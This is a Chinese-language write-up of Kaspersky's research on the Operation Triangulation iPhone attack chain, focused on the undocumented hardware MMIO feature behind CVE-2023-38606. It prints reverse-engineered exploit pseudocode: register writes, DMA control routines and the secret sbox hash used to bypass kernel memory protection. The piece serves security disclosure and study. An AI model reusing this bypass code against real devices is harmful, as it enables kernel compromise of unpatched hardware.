作者来自卡巴斯基的Boris Larin,他与另外两位同事Leonid Bezvershenko和Georgy Kucherin在2023年12月27日的第37届混沌通信大会(37C3)上发表了题为《Operation Triangulation: What You Get When Attack iPhones of Researchers》(三角测量行动:攻击研究人员的iPhone时会得到什么)的演讲,报告总结了他们对三角测量行动进行长期研究的结果,这是他们第一次公开披露攻击中使用的所有利用漏洞和漏洞详细信息。虽然他们已经在Adobe、Apple、Google和Microsoft产品中发现并报告了30多个疯狂的零日攻击,但这个漏洞绝对是目前见过的最复杂攻击链。
Boris Larin与团队几乎完成了对这一攻击链的各个方面的逆向工程,明年他们将发布一系列文章,详细介绍每个漏洞以及这些漏洞是如何被利用的。然而,对于一个特定的漏洞,他们目前还没有完全掌握。
下面要讨论的是与已作为CVE-2023-38606缓解的漏洞相关的问题,最近的iPhone型号为内核内存的敏感区域提供了额外的基于硬件的安全保护,如果攻击者可以读写内核内存,这种保护可以防止他们获得对设备的完全控制,就像这次攻击通过利用CVE-2023-32434实现的那样,研究人员发现,为了绕过这种基于硬件的安全保护,攻击者使用了苹果设计的SoC的另一个硬件功能。
如果试图描述这一功能以及攻击者如何利用它,一切都可以归结为:他们能够将数据写入特定的物理地址,同时通过将数据、目标地址和数据散列写入未被固件使用的芯片的未知硬件寄存器来绕过基于硬件的内存保护。
研究人员的猜测是,这个未知的硬件功能很可能是苹果工程师或工厂出于调试或测试目的而设计的,或者它是被错误地包括在内了。由于固件不使用此功能,因此研究人员不知道攻击者是如何知道以及如何使用它。
SoC中可用的各种外围设备可以提供可由CPU用来操作这些设备的特殊硬件寄存器,为此,这些硬件寄存器被映射到CPU可访问的内存,并被称为“内存映射I/O(MMIO)”。
Apple产品(iPhone、Mac等)中外围设备的MMIO地址范围以一种特殊的文件格式存储:DeviceTree,可以从固件中提取设备树文件,并且可以在dt
实用程序的帮助下查看其内容。
该漏洞攻击的目标是Apple A12-A16仿生SoC,目标是位于以下地址的未知MMIO寄存器块:0x206040000、0x206140000和0x206150000。
它有两个MMIO范围:0x206400000-0x20646C000和0x206050000-0x206050008,来看看它们与利用漏洞所使用的区域是如何关联的。
更准确地说,利用漏洞攻击使用了以下未知地址:0x206040000、0x206140008、0x206140108、0x206150020、0x206150040和0x206150048,可以看到,其中大部分位于两个GFX-ASC区域之间的区域,其余一个位于第一个GFX-ASC区域的开头附近。
在这之后,Boris Larin仔细研究了这个漏洞,发现了另一件事,证实了他的理论,利用漏洞在初始化期间做的第一件事是写入其他MMIO寄存器,该寄存器位于每个SoC的不同地址。
if (cpuid == 0x8765EDEA): # CPUFAMILY_ARM_EVEREST_SAWTOOTH (A16)
base = 0x23B700408
command = 0x1F0023FF
elif (cpuid == 0xDA33D83D): # CPUFAMILY_ARM_AVALANCHE_BLIZZARD (A15)
base = 0x23B7003C8
command = 0x1F0023FF
elif (cpuid == 0x1B588BB3): # CPUFAMILY_ARM_FIRESTORM_ICESTORM (A14)
base = 0x23B7003D0
command = 0x1F0023FF
elif (cpuid == 0x462504D2): # CPUFAMILY_ARM_LIGHTNING_THUNDER (A13)
base = 0x23B080390
command = 0x1F0003FF
elif (cpuid == 0x07D34B9F): # CPUFAMILY_ARM_VORTEX_TEMPEST (A12)
base = 0x23B080388
command = 0x1F0003FF
if ((~read_dword(base) & 0xF) != 0):
write_dword(base, command)
while(True):
if ((~read_dword(base) & 0xF) == 0):
break
最后,当Boris Larin决定尝试访问位于这些未知区域的寄存器时,他获得了第三次确认。几乎同时,GPU协处理器就宕机了,并显示一条消息:“GFX SERROR Exception class=0x2f (SError interrupt), IL=1, iss=0 – power(1)”。
Boris Larin决定仔细看看利用漏洞是如何操作这些未知的MMIO寄存器的,寄存器0x206040000从所有其它寄存器中脱颖而出,因为它位于独立于所有其他寄存器的MMIO块中。
Boris Larin开始遵循中断路线,很快,就识别了这个未知寄存器0x206040000,同时还发现了映射到0x206000000-0x206050000地址范围的确切内容,下面,你可以看到能够识别的利用漏洞的逆向工程代码。
def ml_dbgwrap_halt_cpu():
value = read_qword(0x206040000)
if ((value & 0x90000000) != 0):
return
write_qword(0x206040000, value | 0x80000000)
while (True):
if ((read_qword(0x206040000) & 0x10000000) != 0):
break
def ml_dbgwrap_unhalt_cpu():
value = read_qword(0x206040000)
value = (value & 0xFFFFFFFF2FFFFFFF) | 0x40000000
write_qword(0x206040000, value)
while (True):
if ((read_qword(0x206040000) & 0x10000000) == 0):
break
Boris Larin能够将上面伪代码中的ml_DBGWRAP_HALT_cpu函数与XNU源代码的dbgwrap.c文件中的同名函数进行匹配,此文件包含使用主CPU的ARM CoreSight MMIO调试寄存器的代码,源代码指出,有四个与CoreSight相关的MMIO区域,分别为ED、CTI、PMU和UTT,每个占用0x10000字节,并且它们都位于彼此相邻的位置。
通过将ARM_DBG_LOCK_ACCESS_KEY写入相应位置,能够确认0x206000000-0x206050000确实是用于GPU协处理器的CoreSight MMIO调试寄存器块。
以这种方式无法找到的东西是攻击者对第二个未知区域中的寄存器所做的操作。研究人与啊不确定MMIO调试寄存器的哪些块位于那里,或者如果固件没有使用它们,攻击者是如何发现如何使用它们的。
def dma_ctrl_1():
ctrl = 0x206140108
value = read_qword(ctrl)
write_qword(ctrl, value | 0x8000000000000001)
sleep(1)
while ((~read_qword(ctrl) & 0x8000000000000001) != 0):
sleep(1)
def dma_ctrl_2(flag):
ctrl = 0x206140008
value = read_qword(ctrl)
if (flag):
if ((value & 0x1000000000000000) == 0):
value = value | 0x1000000000000000
write_qword(ctrl, value)
else:
if ((value & 0x1000000000000000) != 0):
value = value & ~0x1000000000000000
write_qword(ctrl, value)
def dma_ctrl_3(value):
ctrl = 0x206140108
value = value | 0x8000000000000000
write_qword(ctrl, read_qword(ctrl) & value)
while ((read_qword(ctrl) & 0x8000000000000001) != 0):
sleep(1)
def dma_init(original_value_0x206140108):
dma_ctrl_1()
dma_ctrl_2(False)
dma_ctrl_3(original_value_0x206140108)
def dma_done(original_value_0x206140108):
dma_ctrl_1()
dma_ctrl_2(True)
dma_ctrl_3(original_value_0x206140108)
if (cpuid == 0x8765EDEA): # CPUFAMILY_ARM_EVEREST_SAWTOOTH (A16)
i = 8
mask = 0x7FFFFFF
elif (cpuid == 0xDA33D83D): # CPUFAMILY_ARM_AVALANCHE_BLIZZARD (A15)
i = 8
mask = 0x3FFFFF
elif (cpuid == 0x1B588BB3): # CPUFAMILY_ARM_FIRESTORM_ICESTORM (A14)
i = 0x28
mask = 0x3FFFFF
elif (cpuid == 0x462504D2): # CPUFAMILY_ARM_LIGHTNING_THUNDER (A13)
i = 0x28
mask = 0x3FFFFF
elif (cpuid == 0x07D34B9F): # CPUFAMILY_ARM_VORTEX_TEMPEST (A12)
i = 0x28
mask = 0x3FFFFF
dma_init(original_value_0x206140108)
hash1 = calculate_hash(data)
hash2 = calculate_hash(data+0x20)
write_qword(0x206150040, 0x2000000 | (phys_addr & 0x3FC0))
pos = 0
while (pos < 0x40):
write_qword(0x206150048, read_qword(data + pos))
pos += 8
phys_addr_upper = ((((phys_addr >> 14) & mask) << 18) & 0x3FFFFFFFFFFFF)
value = phys_addr_upper | (hash1 << i) | (hash2 << 50) | 0x1F
write_qword(0x206150048, value)
dma_done(original_value_0x206140108)
该漏洞利用不使用该功能来修补内核代码,但在测试期间,研究人员能够覆盖内核 __TEXT_EXEC 段中的一条指令,并获得具有预期地址和值的“Undefined Kernel Instruction”宕机。
sbox = [
0x007, 0x00B, 0x00D, 0x013, 0x00E, 0x015, 0x01F, 0x016,
0x019, 0x023, 0x02F, 0x037, 0x04F, 0x01A, 0x025, 0x043,
0x03B, 0x057, 0x08F, 0x01C, 0x026, 0x029, 0x03D, 0x045,
0x05B, 0x083, 0x097, 0x03E, 0x05D, 0x09B, 0x067, 0x117,
0x02A, 0x031, 0x046, 0x049, 0x085, 0x103, 0x05E, 0x09D,
0x06B, 0x0A7, 0x11B, 0x217, 0x09E, 0x06D, 0x0AB, 0x0C7,
0x127, 0x02C, 0x032, 0x04A, 0x051, 0x086, 0x089, 0x105,
0x203, 0x06E, 0x0AD, 0x12B, 0x147, 0x227, 0x034, 0x04C,
0x052, 0x076, 0x08A, 0x091, 0x0AE, 0x106, 0x109, 0x0D3,
0x12D, 0x205, 0x22B, 0x247, 0x07A, 0x0D5, 0x153, 0x22D,
0x038, 0x054, 0x08C, 0x092, 0x061, 0x10A, 0x111, 0x206,
0x209, 0x07C, 0x0BA, 0x0D6, 0x155, 0x193, 0x253, 0x28B,
0x307, 0x0BC, 0x0DA, 0x156, 0x255, 0x293, 0x30B, 0x058,
0x094, 0x062, 0x10C, 0x112, 0x0A1, 0x20A, 0x211, 0x0DC,
0x196, 0x199, 0x256, 0x165, 0x259, 0x263, 0x30D, 0x313,
0x098, 0x064, 0x114, 0x0A2, 0x15C, 0x0EA, 0x20C, 0x0C1,
0x121, 0x212, 0x166, 0x19A, 0x299, 0x265, 0x2A3, 0x315,
0x0EC, 0x1A6, 0x29A, 0x266, 0x1A9, 0x269, 0x319, 0x2C3,
0x323, 0x068, 0x0A4, 0x118, 0x0C2, 0x122, 0x214, 0x141,
0x221, 0x0F4, 0x16C, 0x1AA, 0x2A9, 0x325, 0x343, 0x0F8,
0x174, 0x1AC, 0x2AA, 0x326, 0x329, 0x345, 0x383, 0x070,
0x0A8, 0x0C4, 0x124, 0x218, 0x142, 0x222, 0x181, 0x241,
0x178, 0x2AC, 0x32A, 0x2D1, 0x0B0, 0x0C8, 0x128, 0x144,
0x1B8, 0x224, 0x1D4, 0x182, 0x242, 0x2D2, 0x32C, 0x281,
0x351, 0x389, 0x1D8, 0x2D4, 0x352, 0x38A, 0x391, 0x0D0,
0x130, 0x148, 0x228, 0x184, 0x244, 0x282, 0x301, 0x1E4,
0x2D8, 0x354, 0x38C, 0x392, 0x1E8, 0x2E4, 0x358, 0x394,
0x362, 0x3A1, 0x150, 0x230, 0x188, 0x248, 0x284, 0x302,
0x1F0, 0x2E8, 0x364, 0x398, 0x3A2, 0x0E0, 0x190, 0x250,
0x2F0, 0x288, 0x368, 0x304, 0x3A4, 0x370, 0x3A8, 0x3C4,
0x160, 0x290, 0x308, 0x3B0, 0x3C8, 0x3D0, 0x1A0, 0x260,
0x310, 0x1C0, 0x2A0, 0x3E0, 0x2C0, 0x320, 0x340, 0x380
]
def calculate_hash(buffer):
acc = 0
for i in range(8):
pos = i * 4
value = read_dword(buffer + pos)
for j in range(32):
if (((value >> j) & 1) != 0):
acc ^= sbox[32 * i + j]
return acc
你可能会注意到这个散列看起来并不安全,因为它只占用20位(10+10,因为它被计算了两次),但只要没有人知道如何计算和使用它,它就能完成它的工作,它可以用最好的术语“security by obscurity“来形容。
研究人员又做了一项测试,发现Mac内部的M1芯片也有这个未知的硬件功能,研究人员用m1n1工具做了一个实验,这个工具有一个trace_range
函数,它跟踪对所提供的MMIO寄存器范围的所有访问,用它来设置内存范围0x206110000 – 0x206400000的跟踪,但它报告macOS没有使用这些寄存器。
在题为“Hacking Sony PlayStation Blu-ray Drives”的演示文稿中,研究人员谈到了如何通过使用可通过SCSI命令访问的MMIO DMA寄存器来转储索尼PlayStation 3和4的蓝光驱动器上的固件并实现代码执行。
因为没有人再使用这些寄存器,而某些人知道如何使用它们,所以就可以利用了它们。在这种情况下,类似的事情会发生吗?目前还无法得,但这个GPU协处理器第一次出现在最近的苹果SoC中。
Apple通过将利用漏洞使用的MMIO范围0x206000000-0x206050000和0x206110000-0x206400000添加到存储在设备树中的pmap-io-range来缓解此漏洞。
这不是普通的脆弱性,有许多悬而未决的问题,研究人员不知道攻击者是如何学会使用这一未知硬件功能的,也不知道它的原始目的是什么。也不知道它是否由苹果开发的,还是像ARM CoreSight这样的第三方组件。